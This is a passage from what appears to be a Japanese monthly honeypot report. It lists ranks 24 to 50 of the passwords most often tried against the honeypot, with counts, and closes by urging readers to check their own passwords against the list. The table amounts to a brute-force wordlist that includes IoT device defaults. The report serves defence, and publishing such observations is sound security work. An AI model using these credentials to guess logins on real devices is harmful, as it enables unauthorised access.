24 1qaz2wsx 611
25 pass 540
26 p@ssw0rd 506
27 P@ssw0rd 490
28 666666 486
29 qwerty 477
30 alpine 469
31 master 461
32 passw0rd 456
33 test123 442
34 123qwe 424
35 1234567 418
36 111111 415
37 backup 413
38 abc123 384
39 123321 379
40 admin123 346
41 password123 337
42 1qaz@WSX 334
43 hi3518 331
44 qwe123 319
45 Password 316
46 pass123 297
47 1234567890 280
48 a 280
49 qwerty123 268
50 q1w2e3r4 245
  • Result
    • 先月から変更なし

最後に

  • 「④よく攻撃されたユーザ名」「⑤よく攻撃されたパスワード」について20件⇒50件へ拡大した。
  • 大抵はIoTマルウェアのユーザ名/パスワードが大半だが、少ないアクセス件数の中にも脆弱性スキャンの兆候や面白い情報が含まれているので今月より含めることにした。
  • 「⑤よく攻撃されたパスワード」に普段よく使うパスワードが含まれていないか是非、一度ご確認いただきたい。